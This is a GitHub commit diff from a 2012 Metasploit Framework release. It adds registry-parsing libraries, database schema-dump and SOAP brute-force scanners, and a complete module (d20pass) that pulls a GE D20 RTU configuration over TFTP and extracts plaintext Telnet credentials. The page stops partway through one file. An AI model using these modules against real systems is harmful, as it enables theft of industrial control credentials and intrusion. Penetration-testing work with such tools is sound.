Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Browse files

Merge branch 'release/20120117000001' into stable

  • Loading branch information...
commit c8e0e6be8e9aec30f668faf650b969548a495d92 2 parents 48ce6f4 + de360da
Jenkins authored
Showing with 2,880 additions and 196 deletions.
  1. +1 −1  README
  2. +14 −0 data/post/enum_artifacts_list.txt
  3. +1 −1  lib/msf/core/auxiliary/auth_brute.rb
  4. +15 −9 lib/msf/core/exploit/mssql.rb
  5. +10 −3 lib/msf/core/model/cred.rb
  6. +6 −0 lib/msf/core/model/host.rb
  7. +27 −0 lib/msf/core/post/file.rb
  8. +13 −0 lib/rex/registry.rb
  9. +110 −0 lib/rex/registry/hive.rb
  10. +50 −0 lib/rex/registry/lfkey.rb
  11. +53 −0 lib/rex/registry/nodekey.rb
  12. +26 −0 lib/rex/registry/regf.rb
  13. +66 −0 lib/rex/registry/valuekey.rb
  14. +28 −0 lib/rex/registry/valuelist.rb
  15. +275 −0 modules/auxiliary/gather/d20pass.rb
  16. +1 −0  modules/auxiliary/scanner/ftp/ftp_login.rb
  17. +87 −73 modules/auxiliary/scanner/http/soap_xml.rb
  18. +10 −9 modules/auxiliary/scanner/mssql/mssql_ping.rb
  19. +132 −0 modules/auxiliary/scanner/mssql/mssql_schemadump.rb
  20. +132 −0 modules/auxiliary/scanner/mysql/mysql_schemadump.rb
  21. +124 −0 modules/auxiliary/scanner/postgres/postgres_schemadump.rb
  22. +32 −49 modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb
  23. +42 −35 modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb
  24. +7 −13 modules/auxiliary/spoof/arp/arp_poisoning.rb
  25. +159 −0 modules/exploits/osx/browser/mozilla_mchannel.rb
  26. +193 −0 modules/exploits/windows/browser/ms05_054_onload.rb
  27. +136 −0 modules/exploits/windows/fileformat/bsplayer_m3u.rb
  28. +368 −0 modules/exploits/windows/fileformat/mcafee_showreport_exec.rb
  29. +2 −2 modules/exploits/windows/ftp/ability_server_stor.rb
  30. +2 −1  modules/exploits/windows/oracle/tns_auth_sesskey.rb
  31. +106 −0 modules/post/windows/gather/enum_artifacts.rb
  32. +58 −0 scripts/resource/autocrawler.rc
  33. +22 −0 scripts/resource/port-cleaner.rc
  34. +53 −0 scripts/resource/portscan.rc
  35. +519 −0 tools/reg.rb
2  README
View
@@ -1,4 +1,4 @@
-Copyright (C) 2006-2011, Rapid7 LLC
+Copyright (C) 2006-2012, Rapid7 LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
14 data/post/enum_artifacts_list.txt
View
@@ -0,0 +1,14 @@
+# This file contains a list of artifacts used by the enum_artifacts post module
+# Artifacts should be listed one per line and use the following formats:
+# File entries
+# file|path/to/file|md5sum
+#
+# Registry entries
+# reg|hive|key|value
+#
+# Happy hunting
+
+file|c:\ntdetect.com|b2de3452de03674c6cec68b8c8ce7c78
+file|c:\boot.ini|fa579938b0733b87066546afe951082c
+reg|HKEY_LOCAL_MACHINE\SYSTEM\Select|Current|1
+reg|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI|DisplayName|Microsoft ACPI Driver
2  lib/msf/core/auxiliary/auth_brute.rb
View
@@ -514,7 +514,7 @@ def tried_over_total(ip,port)
# name of the module, assuming the name is sensible like ssh_login or
# smb_auth.
def proto_from_fullname
- File.split(self.fullname).last.match(/^(.*)_(login|auth)/)[1].upcase rescue nil
+ File.split(self.fullname).last.match(/^(.*)_(login|auth|identify)/)[1].upcase rescue nil
end
# Legacy vprint
24 lib/msf/core/exploit/mssql.rb
View
@@ -116,20 +116,26 @@ def mssql_ping(timeout=5)
# Parse a 'ping' response and format as a hash
#
def mssql_ping_parse(data)
- res = {}
+ res = []
var = nil
idx = data.index('ServerName')
return res if not idx
-
- data[idx, data.length-idx].split(';').each do |d|
- if (not var)
- var = d
- else
- if (var.length > 0)
- res[var] = d
- var = nil
+ sdata = data[idx, (data.length - 1)]
+
+ instances = sdata.split(';;')
+ instances.each do |instance|
+ rinst = {}
+ instance.split(';').each do |d|
+ if (not var)
+ var = d
+ else
+ if (var.length > 0)
+ rinst[var] = d
+ var = nil
+ end
end
end
+ res << rinst
end
return res
13 lib/msf/core/model/cred.rb
View
@@ -42,9 +42,16 @@ def ssh_keys
end
def ssh_key_matches?(other_cred)
- return false unless self.ptype == "ssh_key"
- return false unless other_cred.ptype == self.ptype
- matches = self.ssh_private_keys
+ return false unless other_cred.kind_of? self.class
+ return false unless self.ptype == other_cred.ptype
+ case self.ptype
+ when "ssh_key"
+ matches = self.ssh_private_keys
+ when "ssh_pubkey"
+ matches = self.ssh_public_keys
+ else
+ false
+ end
matches.include?(self) and matches.include?(other_cred)
end
6 lib/msf/core/model/host.rb
View
@@ -32,6 +32,12 @@ def attribute_locked?(attr)
def validate_fingerprint_data(fp)
if fp.data.kind_of?(Hash) and !fp.data.empty?
return true
+ elsif fp.ntype == "postgresql.fingerprint"
+ # Special case postgresql.fingerprint; it's always a string,
+ # and should not be used for OS fingerprinting (yet), so
+ # don't bother logging it. TODO: fix os fingerprint finding, this
+ # name collision seems silly.
+ return false
else
dlog("Could not validate fingerprint data: #{fp.inspect}")
return false
27 lib/msf/core/post/file.rb
View
@@ -34,6 +34,15 @@ def file_local_digestmd5(file2md5)
end
#
+ # Returns a MD5 checksum of a given remote file
+ #
+
+ def file_remote_digestmd5(file2md5)
+ chksum = Digest::MD5.hexdigest(read_file(file2md5))
+ return chksum
+ end
+
+ #
# Returns a SHA1 checksum of a given local file
#
def file_local_digestsha1(file2sha1)
@@ -48,6 +57,15 @@ def file_local_digestsha1(file2sha1)
end
#
+ # Returns a SHA1 checksum of a given remote file
+ #
+
+ def file_remote_digestsha1(file2sha1)
+ chksum = Digest::SHA1.hexdigest(read_file(file2sha1))
+ return chksum
+ end
+
+ #
# Returns a SHA256 checksum of a given local file
#
def file_local_digestsha2(file2sha2)
@@ -62,6 +80,15 @@ def file_local_digestsha2(file2sha2)
end
#
+ # Returns a SHA2 checksum of a given remote file
+ #
+
+ def file_remote_digestsha2(file2sha2)
+ chksum = Digest::SHA256.hexdigest(read_file(file2sha2))
+ return chksum
+ end
+
+ #
# Platform-agnostic file read. Returns contents of remote file +file_name+
# as a String.
#
13 lib/rex/registry.rb
View
@@ -0,0 +1,13 @@
+require 'rex/registry/hive'
+require 'rex/registry/regf'
+require 'rex/registry/nodekey'
+require 'rex/registry/lfkey'
+require 'rex/registry/valuekey'
+require 'rex/registry/valuelist'
+
+module Rex
+module Registry
+
+ attr_accessor :alias
+end
+end
110 lib/rex/registry/hive.rb
View
@@ -0,0 +1,110 @@
+require_relative "regf"
+require_relative "nodekey"
+
+module Rex
+module Registry
+
+class Hive
+ attr_accessor :root_key, :hive_regf
+
+ def initialize(hivepath)
+
+ hive_blob = open(hivepath, "rb") { |io| io.read }
+ @hive_regf = RegfBlock.new(hive_blob)
+
+ @root_key = NodeKey.new(hive_blob, 0x1000 + @hive_regf.root_key_offset)
+ end
+
+ def relative_query(path)
+
+ if path == "" || path == "\\"
+ return @root_key
+ end
+
+ current_child = nil
+ paths = path.split("\\")
+
+ return if !@root_key.lf_record
+
+ @root_key.lf_record.children.each do |child|
+ next if child.name.downcase != paths[1].downcase
+
+ current_child = child
+
+ if paths.length == 2
+ current_child.full_path = path
+ return current_child
+ end
+
+ 2.upto(paths.length) do |i|
+
+ if i == paths.length
+ current_child.full_path = path
+ return current_child
+ else
+ if current_child.lf_record && current_child.lf_record.children
+ current_child.lf_record.children.each do |c|
+ next if c.name.downcase != paths[i].downcase
+
+ current_child = c
+
+ break
+ end
+ end
+ end
+
+ end
+ end
+
+ return if !current_child
+
+ current_child.full_path = path
+ return current_child
+ end
+
+ def value_query(path)
+ if path == "" || path == "\\"
+ return nil
+ end
+
+ paths = path.split("\\")
+
+ return if !@root_key.lf_record
+
+ @root_key.lf_record.children.each do |root_child|
+ next if root_child.name.downcase != paths[1].downcase
+
+ current_child = root_child
+
+ if paths.length == 2
+ return nil
+ end
+
+ 2.upto(paths.length - 1) do |i|
+ next if !current_child.lf_record
+
+ current_child.lf_record.children.each do |c|
+ next if c.name != paths[i]
+ current_child = c
+
+ break
+ end
+ end
+
+ if !current_child.value_list || current_child.value_list.values.length == 0
+ return nil
+ end
+
+ current_child.value_list.values.each do |value|
+ next if value.name.downcase != paths[paths.length - 1].downcase
+
+ value.full_path = path
+ return value
+ end
+ end
+ end
+
+end
+
+end
+end
50 lib/rex/registry/lfkey.rb
View
@@ -0,0 +1,50 @@
+require_relative "nodekey"
+
+module Rex
+module Registry
+
+class LFBlock
+
+ attr_accessor :number_of_keys, :hash_records, :children
+
+ def initialize(hive_blob, offset)
+ offset = offset + 4
+ lf_header = hive_blob[offset, 2]
+
+ if lf_header !~ /lf/ && lf_header !~ /lh/
+ return
+ end
+
+ @number_of_keys = hive_blob[offset + 0x02, 2].unpack('C').first
+
+ @hash_records = []
+ @children = []
+
+ hash_offset = offset + 0x04
+
+ 1.upto(@number_of_keys) do |h|
+
+ hash = LFHashRecord.new(hive_blob, hash_offset)
+
+ @hash_records << hash
+
+ hash_offset = hash_offset + 0x08
+
+ @children << NodeKey.new(hive_blob, hash.nodekey_offset + 0x1000)
+ end
+ end
+end
+
+class LFHashRecord
+
+ attr_accessor :nodekey_offset, :nodekey_name_verification
+
+ def initialize(hive_blob, offset)
+ @nodekey_offset = hive_blob[offset, 4].unpack('l').first
+ @nodekey_name_verification = hive_blob[offset+0x04, 4].to_s
+ end
+
+end
+
+end
+end
53 lib/rex/registry/nodekey.rb
View
@@ -0,0 +1,53 @@
+require_relative "lfkey"
+require_relative "valuelist"
+
+module Rex
+module Registry
+
+class NodeKey
+
+ attr_accessor :timestamp, :parent_offset, :subkeys_count, :lf_record_offset
+ attr_accessor :value_count, :value_list_offset, :security_key_offset
+ attr_accessor :class_name_offset, :name_length, :class_name_length, :full_path
+ attr_accessor :name, :lf_record, :value_list, :class_name_data, :readable_timestamp
+
+ def initialize(hive, offset)
+
+ offset = offset + 0x04
+
+ nk_header = hive[offset, 2]
+ nk_type = hive[offset+0x02, 2]
+
+ if nk_header !~ /nk/
+ return
+ end
+
+ @timestamp = hive[offset+0x04, 8].unpack('q').first
+ @parent_offset = hive[offset+0x10, 4].unpack('l').first
+ @subkeys_count = hive[offset+0x14, 4].unpack('l').first
+ @lf_record_offset = hive[offset+0x1c, 4].unpack('l').first
+ @value_count = hive[offset+0x24, 4].unpack('l').first
+ @value_list_offset = hive[offset+0x28, 4].unpack('l').first
+ @security_key_offset = hive[offset+0x2c, 4].unpack('l').first
+ @class_name_offset = hive[offset+0x30, 4].unpack('l').first
+ @name_length = hive[offset+0x48, 2].unpack('c').first
+ @class_name_length = hive[offset+0x4a, 2].unpack('c').first
+ @name = hive[offset+0x4c, @name_length].to_s
+
+ windows_time = @timestamp
+ unix_time = windows_time/10000000-11644473600
+ ruby_time = Time.at(unix_time)
+
+ @readable_timestamp = ruby_time
+
+ @lf_record = LFBlock.new(hive, @lf_record_offset + 0x1000) if @lf_record_offset != -1
+ @value_list = ValueList.new(hive, @value_list_offset + 0x1000, @value_count) if @value_list_offset != -1
+
+ @class_name_data = hive[@class_name_offset + 0x04 + 0x1000, @class_name_length]
+
+ end
+
+end
+
+end
+end
26 lib/rex/registry/regf.rb
View
@@ -0,0 +1,26 @@
+module Rex
+module Registry
+
+class RegfBlock
+
+ attr_accessor :timestamp, :root_key_offset, :hive_name
+
+ def initialize(hive)
+
+ regf_header = hive[0x00, 4]
+
+ if regf_header !~ /regf/
+ puts "Not a registry hive"
+
+ return
+ end
+
+ @timestamp = hive[0x0C, 8].unpack('q').first
+ @root_key_offset = 0x20
+ @hive_name = hive[0x30-1, 64].to_s.gsub("\x00", "")
+
+ end
+end
+
+end
+end
66 lib/rex/registry/valuekey.rb
View
@@ -0,0 +1,66 @@
+module Rex
+module Registry
+
+class ValueKey
+
+ attr_accessor :name_length, :length_of_data, :data_offset, :full_path
+ attr_accessor :value_type, :readable_value_type, :name, :value
+
+ def initialize(hive, offset)
+ offset = offset + 4
+
+ vk_header = hive[offset, 2]
+
+ if vk_header !~ /vk/
+ puts "no vk at offset #{offset}"
+ return
+ end
+
+ @name_length = hive[offset+0x02, 2].unpack('c').first
+ @length_of_data = hive[offset+0x04, 4].unpack('l').first
+ @data_offset = hive[offset+ 0x08, 4].unpack('l').first
+ @value_type = hive[offset+0x0C, 4].unpack('c').first
+
+ if @value_type == 1
+ @readable_value_type = "Unicode character string"
+ elsif @value_type == 2
+ @readable_value_type = "Unicode string with %VAR% expanding"
+ elsif @value_type == 3
+ @readable_value_type = "Raw binary value"
+ elsif @value_type == 4
+ @readable_value_type = "Dword"
+ elsif @value_type == 7
+ @readable_value_type = "Multiple unicode strings separated with '\\x00'"
+ end
+
+ flag = hive[offset+0x10, 2].unpack('c').first
+
+ if flag == 0
+ @name = "Default"
+ else
+ @name = hive[offset+0x14, @name_length].to_s
+ end
+
+ @value = ValueKeyData.new(hive, @data_offset, @length_of_data, @value_type, offset)
+ end
+end
+
+class ValueKeyData
+
+ attr_accessor :data
+
+ def initialize(hive, offset, length, datatype, parent_offset)
+ offset = offset + 4
+
+ #If the data-size is lower than 5, the data-offset value is used to store
+ #the data itself!
+ if length < 5
+ @data = hive[parent_offset + 0x08, 4]
+ else
+ @data = hive[offset + 0x1000, length]
+ end
+ end
+end
+
+end
+end
28 lib/rex/registry/valuelist.rb
View
@@ -0,0 +1,28 @@
+require_relative "valuekey"
+
+module Rex
+module Registry
+
+class ValueList
+
+ attr_accessor :values
+
+ def initialize(hive, offset, number_of_values)
+ offset = offset + 4
+ inner_offset = 0
+
+ @values = []
+
+ 1.upto(number_of_values) do |v|
+ valuekey_offset = hive[offset + inner_offset, 4]
+ next if !valuekey_offset
+
+ valuekey_offset = valuekey_offset.unpack('l').first
+ @values << ValueKey.new(hive, valuekey_offset + 0x1000)
+ inner_offset = inner_offset + 4
+ end
+ end
+end
+
+end
+end
275 modules/auxiliary/gather/d20pass.rb
View
@@ -0,0 +1,275 @@
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module grabs the device configuration from a GE D20M* RTU and
+# parses the usernames and passwords from it.
+##
+
+require 'msf/core'
+require 'rex/ui/text/shell'
+require 'rex/proto/tftp'
+
+class Metasploit3 < Msf::Auxiliary
+ include Rex::Ui::Text
+ include Rex::Proto::TFTP
+ include Msf::Exploit::Remote::Udp
+ include Msf::Auxiliary::Report
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'General Electric D20 Password Recovery',
+ 'Description' => %q{
+ The General Electric D20ME and possibly other units (D200?) feature
+ TFTP readable configurations with plaintext passwords. This module
+ retrieves the username, password, and authentication level list.
+ },
+ 'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
+ 'License' => MSF_LICENSE,
+ 'Version' => '$Revision: 1 $',
+ 'DisclosureDate' => 'Jan 19 2012',
+ ))
+
+ register_options(
+ [
+ Opt::RPORT(69),
+ Opt::RHOST('192.168.255.1'),
+ OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"])
+ ], self.class)
+ end
+
+ def setup
+ @rhost = datastore['RHOST']
+ @rport = datastore['RPORT'] || 69
+ @lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
+ @lhost = datastore['LHOST'] || "0.0.0.0"
+ @rfile = datastore['REMOTE_CONFIG_NAME']
+ end
+
+ def cleanup
+ if @tftp_client and @tftp_client.respond_to? :complete
+ while not @tftp_client.complete
+ select(nil,nil,nil,1)
+ vprint_status "Cleaning up the TFTP client ports and threads."
+ @tftp_client.stop
+ end
+ end
+ end
+
+ def rtarget(ip=nil)
+ if (ip or rhost) and rport
+ [(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
+ elsif (ip or rhost)
+ "#{rhost}"
+ else
+ ""
+ end
+ end
+
+ # Retrieve the file
+ def retrieve
+ print_status("Retrieving file")
+ @tftp_client = Rex::Proto::TFTP::Client.new(
+ "LocalHost" => @lhost,
+ "LocalPort" => @lport,
+ "PeerHost" => @rhost,
+ "PeerPort" => @rport,
+ "RemoteFile" => @rfile,
+ "Action" => :download
+ )
+ @tftp_client.send_read_request { |msg| print_tftp_status(msg) }
+ @tftp_client.threads do |thread|
+ thread.join
+ end
+ # Wait for GET to finish
+ while not @tftp_client.complete
+ select(nil, nil, nil, 0.1)
+ end
+ fh = @tftp_client.recv_tempfile
+ return fh
+ end
+
+ # Builds a big-endian word
+ def makeword(bytestr)
+ return bytestr.unpack("n")[0]
+ end
+ # builds abi
+ def makelong(bytestr)
+ return bytestr.unpack("N")[0]
+ end
+
+ # Returns a pointer. We re-base the pointer
+ # so that it may be used as a file pointer.
+ # In the D20 memory, the file is located in flat
+ # memory at 0x00800000.
+ def makefptr(bytestr)
+ ptr = makelong(bytestr)
+ ptr = ptr - 0x00800000
+ return ptr
+ end
+
+ # Build a string out of the file. Assumes that the string is
+ # null-terminated. This will be the case in the D20 Username
+ # and Password fields.
+ def makestr(f, strptr)
+ f.seek(strptr)
+ str = ""
+ b = f.read(1)
+ if b != 0
+ str = str + b
+ end
+ while b != "\000"
+ b = f.read(1)
+ if b != "\000"
+ str = str + b
+ end
+ end
+ return str
+ end
+
+ # configuration section names in the file are always
+ # 8 bytes. Sometimes they are null-terminated strings,
+ # but not always, so I use this silly helper function.
+ def getname(f, entryptr)
+ f.seek(entryptr + 12) # three ptrs then name
+ str = f.read(8)
+ return str
+ end
+
+ def leftchild(f, entryptr)
+ f.seek(entryptr + 4)
+ ptr = f.read(4)
+ return makefptr(ptr)
+ end
+
+ def rightchild(f, entryptr)
+ f.seek(entryptr + 8)
+ ptr = f.read(4)
+ return makefptr(ptr)
+ end
+
+ # find the entry in the configuration file.
+ # the file is a binary tree, with pointers to parent, left, right
+ # stored as 32-bit big-endian values.
+ # sorry for depth-first recursion
+ def findentry(f, name, start)
+ f.seek(start)
+ myname = getname(f, start)
+ if name == myname
+ return start
+ end
+ left = leftchild(f, start)
+ right = rightchild(f, start)
+ if name < myname
+ if left < f.stat.size and left != 0
+ res = findentry(f, name, leftchild(f, start))
+ else
+ res = nil # this should perolate up
+ end
+ end
+ if name > myname
+ if right < f.stat.size and right != 0
+ res = findentry(f, name, rightchild(f, start))
+ else
+ res = nil
+ end
+ end
+ return res
+ end
+
+ # Parse the usernames, passwords, and security levels from the config
+ # It's a little ugly (lots of hard-coded offsets).
+ # The userdata starts at an offset dictated by the B014USERS config
+ # offset 0x14 (20) bytes. The rest is all about skipping past the
+ # section header.
+ def parseusers(f, userentryptr)
+ f.seek(userentryptr + 0x14)
+ dstart = makefptr(f.read(4))
+ f.seek(userentryptr + 0x1C)
+ numentries = makelong(f.read(4))
+ f.seek(userentryptr + 0x60)
+ headerlen = makeword(f.read(2))
+ f.seek(userentryptr + 40) # sorry decimal
+ entrylen = makeword(f.read(2)) # sorry this is decimal
+ logins = Rex::Ui::Text::Table.new(
+ 'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",
+ 'Indent' => 1,
+ 'Columns' => ["Type", "User Name", "Password"])
+ range = Range.new(0, numentries - 1)
+ range.each do |i|
+ f.seek(dstart + headerlen + i * entrylen)
+ accounttype = makeword(f.read(2))
+ f.seek(dstart + headerlen + i * entrylen + 2)
+ accountname = makestr(f, dstart + headerlen + i * entrylen + 2)
+ f.seek(dstart + headerlen + i * entrylen + 2 + 22)
+ accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)
+ if accountname.size + accountpass.size > 44
+ print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")
+ break
+ end
+ logins << [accounttype, accountname, accountpass]
+ report_auth_info(
+ :host => datastore['RHOST'],
+ :port => 23,
+ :sname => "telnet",
+ :user => accountname,
+ :pass => accountpass,
+ :active => true
+ )
+ end
+ if not logins.rows.empty?
+ loot = store_loot(
+ "d20.user.creds",
+ "text/csv",
+ datastore['RHOST'],
+ logins.to_s,
+ "d20_user_creds.txt",
+ "General Electric TELNET User Credentials",
+ datastore['RPORT']
+ )
+ print_line logins.to_s
+ print_status("Loot stored in: #{loot}")
+ else
+ print_error("No data collected")
+ end
+ end
+
+ def parse(fh)
+ print_status("Parsing file")
+ f = File.open(fh, 'rb')
+ used = f.read(4)
+ if used != "USED"
+ print_error "Invalid Configuration File!"
+ return
+ end
+ f.seek(0x38)
+ start = makefptr(f.read(4))
+ userptr = findentry(f, "B014USER", start)
+ if userptr != nil
+ parseusers(f, userptr)
+ else
+ print_error "Error finding the user table in the configuration."
+ end
+ end
+
+ def run
+ fh = retrieve
+ parse(fh)
+ end
+
+ def print_tftp_status(msg)
+ case msg
+ when /Aborting/, /errors.$/
+ print_error [rtarget,msg].join
+ when /^WRQ accepted/, /^Sending/, /complete!$/
+ print_good [rtarget,msg].join
+ else
+ vprint_status [rtarget,msg].join
+ end
+ end
+end
1  modules/auxiliary/scanner/ftp/ftp_login.rb
View
@@ -60,6 +60,7 @@ def initialize
def run_host(ip)
print_status("#{ip}:#{rport} - Starting FTP login sweep")
if check_banner
+ @@credentials_tried = {}
if datastore['RECORD_GUEST'] == false and check_anonymous == :next_user
@accepts_all_logins[@access] ||= []
@accepts_all_logins[@access] << ip
160 modules/auxiliary/scanner/http/soap_xml.rb
View
@@ -42,7 +42,9 @@ def initialize(info = {})
OptString.new('XMLSCHEMA', [ true, "XML Schema", 'http://www.w3.org/2001/XMLSchema']),
OptString.new('XMLSOAP', [ true, "XML SOAP", 'http://schemas.xmlsoap.org/soap/envelope/']),
OptString.new('CONTENTTYPE', [ true, "The HTTP Content-Type Header", 'application/x-www-form-urlencoded']),
+ OptInt.new('SLEEP', [true, "Sleep this many seconds between requests", 0 ]),
OptBool.new('DISPLAYHTML', [ true, "Display HTML response", false ]),
+ OptBool.new('SSL', [ true, "Use SSL", false ]),
], self.class)
end
@@ -53,6 +55,7 @@ def run_host(ip)
verbs = [
'get',
'active',
+ 'activate',
'create',
'change',
'set',
@@ -74,33 +77,49 @@ def run_host(ip)
'register',
'log',
'add',
+ 'list',
+ 'query',
#'delete', # Best to be safe!
]
nouns = [
'password',
'task',
+ 'tasks',
'pass',
'administration',
'account',
+ 'accounts',
'admin',
'login',
+ 'logins',
'token',
- 'credentials',
+ 'tokens',
'credential',
+ 'credentials',
'key',
+ 'keys',
'guid',
'message',
+ 'messages',
'user',
+ 'users',
'username',
+ 'usernames',
'load',
'list',
'name',
+ 'names',
'file',
+ 'files',
'path',
+ 'paths',
'directory',
+ 'directories',
'configuration',
+ 'configurations',
'config',
+ 'configs',
'setting',
'settings',
'registry',
@@ -111,79 +130,74 @@ def run_host(ip)
target_port = datastore['RPORT']
vhost = datastore['VHOST'] || wmap_target_host || ip
+ # regular expressions for common rejection messages
+ reject_regexen = []
+ reject_regexen << Regexp.new("method \\S+ is not valid", true)
+ reject_regexen << Regexp.new("Method \\S+ not implemented", true)
+ reject_regexen << Regexp.new("unable to resolve WSDL method name", true)
+
begin
- # Check service exists
- res = send_request_raw({
- 'uri' => datastore['PATH'],
- 'method' => 'GET',
- 'vhost' => vhost,
- }, 10)
-
- if (res.code == 200)
- print_status("PATH appears to be OK.")
-
- verbs.each do |v|
- nouns.each do |n|
-
- # This could be cleaned up - patrickw
- data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
- data << '<soap:Envelope xmlns:xsi="' + datastore['XMLINSTANCE'] + '" xmlns:xsd="' + datastore['XMLSCHEMA'] + '" xmlns:soap="' + datastore['XMLSOAP'] + '">' + "\r\n"
- data << '<soap:Body>' + "\r\n"
- data << "<#{v}#{n}" + " xmlns=\"#{datastore['XMLNAMESPACE']}\">" + "\r\n"
- data << "</#{v}#{n}>" + "\r\n"
- data << '</soap:Body>' + "\r\n"
- data << '</soap:Envelope>' + "\r\n\r\n"
-
- res = send_request_raw({
- 'uri' => datastore['PATH'] + '/' + v + n,
- 'method' => 'POST',
- 'vhost' => vhost,
- 'data' => data,
- 'headers' =>
- {
- 'Content-Length' => data.length,
- 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"',
- 'Expect' => '100-continue',
- 'Content-Type' => datastore['CONTENTTYPE'],
- }
- }, 15)
-
- if (res && !(res.body.empty?))
- if (res.body =~ /method name is not valid/)
- print_status("Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
- elsif (res.message =~ /Cannot process the message because the content type/)
- print_status("Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.")
- res.message =~ /was not the expected type\s\'([^']+)'/
- print_status("Set CONTENTTYPE to \"#{$1}\"")
- return false
- elsif (res.code == 404)
- return false
- else
- print_status("Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
- ## Add Report
- report_note(
- :host => ip,
- :proto => 'tcp',
- :sname => 'HTTP',
- :port => rport,
- :type => "SOAPAction: #{v}#{n}",
- :data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}."
- )
- if datastore['DISPLAYHTML']
- print_status("The HTML content follows:")
- print_status(res.body + "\r\n")
- end
- end
- end
- end
- end
-
- else
- print_status("Server did not respond with 200 OK.")
- print_status(res.to_s)
- end
- rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
- rescue ::Timeout::Error, ::Errno::EPIPE
+ verbs.each do |v|
+ nouns.each do |n|
+ data_parts = []
+ data_parts << "<?xml version=\"1.0\" encoding=\"utf-8\"?>"
+ data_parts << "<soap:Envelope xmlns:xsi=\"#{datastore['XMLINSTANCE']}\" xmlns:xsd=\"#{datastore['XMLSCHEMA']}\" xmlns:soap=\"#{datastore['XMLSOAP']}\">"
+ data_parts << "<soap:Body>"
+ data_parts << "<#{v}#{n} xmlns=\"#{datastore['XMLNAMESPACE']}\">"
+ data_parts << "</#{v}#{n}>"
+ data_parts << "</soap:Body>"
+ data_parts << "</soap:Envelope>"
+ data_parts << nil
+ data_parts << nil
+ data = data_parts.join("\r\n")
+
+ res = send_request_raw({
+ 'uri' => datastore['PATH'] + '/' + v + n,
+ 'method' => 'POST',
+ 'vhost' => vhost,
+ 'data' => data,
+ 'headers' =>
+ {
+ 'Content-Length' => data.length,
+ 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"',
+ 'Expect' => '100-continue',
+ 'Content-Type' => datastore['CONTENTTYPE'],
+ }
+ }, 15)
+
+ if (res && !(res.body.empty?))
+ if ((not reject_regexen.select { |r| res.body =~ r }.empty?))
+ print_status("Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
+ elsif (res.message =~ /Cannot process the message because the content type/)
+ print_status("Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.")
+ res.message =~ /was not the expected type\s\'([^']+)'/
+ print_status("Set CONTENTTYPE to \"#{$1}\"")
+ return false
+ elsif (res.code == 404)
+ print_status("Server returned HTTP 404 for #{datastore['PATH']}. Use a different one.")
+ return false
+ else
+ print_status("Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
+ ## Add Report
+ report_note(
+ :host => ip,
+ :proto => 'tcp',
+ :sname => (ssl ? 'https' : 'http'),
+ :port => rport,
+ :type => "SOAPAction: #{v}#{n}",
+ :data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}."
+ )
+ if datastore['DISPLAYHTML']
+ print_status("The HTML content follows:")
+ print_status(res.body + "\r\n")
+ end
+ end
+ end
+ select(nil, nil, nil, datastore['SLEEP']) if (datastore['SLEEP'] > 0)
+ end
+ end
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
+ print_error(e)
end
end
end
19 modules/auxiliary/scanner/mssql/mssql_ping.rb
View
@@ -40,18 +40,19 @@ def run_host(ip)
begin
info = mssql_ping(2)
- if (info['ServerName'])
- print_status("SQL Server information for #{ip}:")
- info.each_pair { |k,v|
- print_status(" #{k + (" " * (15-k.length))} = #{v}")
- }
- if info['tcp']
- report_mssql_service(ip,info)
+ print_status info.inspect
+ if info and not info.empty?
+ info.each do |instance|
+ if (instance['ServerName'])
+ print_status("SQL Server information for #{ip}:")
+ instance.each_pair {|k,v| print_good(" #{k + (" " * (15-k.length))} = #{v}")}
+ if instance['tcp']
+ report_mssql_service(ip,instance)
+ end
+ end
end
-
end
-
rescue ::Rex::ConnectionError
end
end
132 modules/auxiliary/scanner/mssql/mssql_schemadump.rb
View
@@ -0,0 +1,132 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+require 'yaml'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::MSSQL
+ include Msf::Auxiliary::Report
+
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'MSSQL Schema Dump',
+ 'Description' => %Q{
+ This module attempts to extract the schema from a MSSQL Server
+ Instance. It will disregard builtin and example DBs such
+ as master,model,msdb, and tempdb. The module will create
+ a note for each DB found, and store a YAML formatted output
+ as loot for easy reading.
+ },
+ 'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
+ 'License' => MSF_LICENSE
+ )
+ end
+
+ def run_host(ip)
+
+ if (not mssql_login_datastore)
+ print_error("#{rhost}:#{rport} - Invalid SQL Server credentials")
+ return
